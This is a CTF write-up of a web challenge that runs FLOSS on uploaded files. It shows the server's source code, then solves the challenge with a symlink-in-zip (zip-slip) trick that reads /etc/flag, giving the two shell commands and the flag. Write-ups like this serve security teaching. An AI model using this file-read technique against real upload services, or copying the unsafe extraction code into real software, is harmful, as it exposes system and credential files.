110 lines
4.1 KiB
Markdown
110 lines
4.1 KiB
Markdown
# 🎓Throw your malware here!
|
|
> FLOSS is the superior "strings", so I've decided to run it as a SAAS! Enough with the obfuscated code that the pigeon keeps throwing at me!
|
|
|
|
> In fact, I decided to handle all types of files, even non-PE files and password-protected zip files!
|
|
|
|
> Flag is located at `/etc/flag`
|
|
|
|
## About the Challenge
|
|
We were given a source code called `app.py` (You can download the file [here](dist_throw-your-malware-here_0140c3bcedfeee2909f426086fbab6fa4c777229.zip)) and here is the content of the file
|
|
|
|
```python
|
|
from typing import Optional
|
|
import zipfile
|
|
import random
|
|
import shutil
|
|
import string
|
|
import subprocess
|
|
from pathlib import Path
|
|
|
|
import pefile
|
|
from fastapi import FastAPI, HTTPException, UploadFile
|
|
from fastapi.responses import JSONResponse
|
|
|
|
|
|
FILE_CACHE = Path("/app/cache")
|
|
FLOSS_PATH = Path("/usr/local/bin/floss")
|
|
|
|
app = FastAPI()
|
|
|
|
|
|
def get_random_string(length: int = 16) -> str:
|
|
# choose from all lowercase letter
|
|
letters = string.ascii_lowercase
|
|
return "".join(random.choice(letters) for _ in range(length))
|
|
|
|
|
|
@app.on_event("startup")
|
|
def startup():
|
|
# Ensure caches exist
|
|
if not FILE_CACHE.is_dir():
|
|
FILE_CACHE.mkdir()
|
|
|
|
|
|
def run_floss(target: Path) -> str:
|
|
args = [str(target), "--json"]
|
|
try:
|
|
pefile.PE(name=str(target))
|
|
except pefile.PEFormatError:
|
|
args.extend(("--only", "static"))
|
|
output = subprocess.check_output((FLOSS_PATH, *args))
|
|
return output.decode()
|
|
|
|
|
|
@app.post("/floss")
|
|
def floss_endpoint(sample: UploadFile, password: Optional[str]) -> JSONResponse:
|
|
random_path = get_random_string()
|
|
while (target_path := FILE_CACHE / random_path).exists():
|
|
random_path = get_random_string()
|
|
with target_path.open("wb+") as f:
|
|
shutil.copyfileobj(sample.file, f)
|
|
is_zipfile = zipfile.is_zipfile(target_path)
|
|
if is_zipfile:
|
|
with zipfile.ZipFile(target_path) as f:
|
|
# No zip bombs!
|
|
file_size_sum = sum(data.file_size for data in f.filelist)
|
|
compressed_size_sum = sum(data.compress_size for data in f.filelist)
|
|
if (file_size_sum / compressed_size_sum > 10):
|
|
raise HTTPException(413, "Zip Bomb Detected")
|
|
|
|
zipobjects = f.infolist()
|
|
if any(zipobject.file_size > 50000 for zipobject in zipobjects):
|
|
raise HTTPException(418, "I'm a teapot!")
|
|
files = f.namelist()
|
|
args = ["unzip"]
|
|
if password:
|
|
args.extend(("-P", password))
|
|
args.extend((str(target_path), "-d", f"{FILE_CACHE / random_path}-zip"))
|
|
a = subprocess.run(args)
|
|
if a.returncode != 0:
|
|
raise HTTPException(422, "Invalid password!")
|
|
targets = [FILE_CACHE / f"{random_path}-zip" / file for file in files]
|
|
else:
|
|
targets = [target_path]
|
|
results = [run_floss(target) for target in targets]
|
|
return JSONResponse(
|
|
{target.name: result for target, result in zip(targets, results)}
|
|
if is_zipfile
|
|
else results[0]
|
|
)
|
|
```
|
|
|
|
The program accepts a file upload via the /floss endpoint and analyzes the uploaded file using FLOSS. It first saves the uploaded file to a cache directory. If the uploaded file is a ZIP archive, it checks for zip bomb and teapot conditions to prevent malicious or large files from being processed.
|
|
|
|
If the file is a ZIP archive, it extracts its contents to a separate directory in the cache. Otherwise, it directly analyzes the uploaded file. For each file (or extracted file in the case of a ZIP archive), it runs the run_floss() function, which invokes FLOSS to perform the analysis. The output is returned as a JSON response.
|
|
|
|
## How to Solve?
|
|
To solve this chall, im using this [website](https://infosecwriteups.com/zippy-challenge-writeup-cyberhack-ctf-80eb1d422249) as a reference. We can read the content of `/etc/flag` by using `zipslip` vulnerability. Here is the command I used
|
|
|
|
```
|
|
ln -s ../../../etc/flag awikwok.link
|
|
zip -P password --symlink awikwok.zip awikwok.link
|
|
```
|
|
|
|
And then upload to the website to obtain the flag
|
|
|
|
![flag](images/flag.png)
|
|
|
|
```
|
|
SEE{i_just_wanted_to_be_kind_and_run_a_floss_web_api_man}
|
|
``` |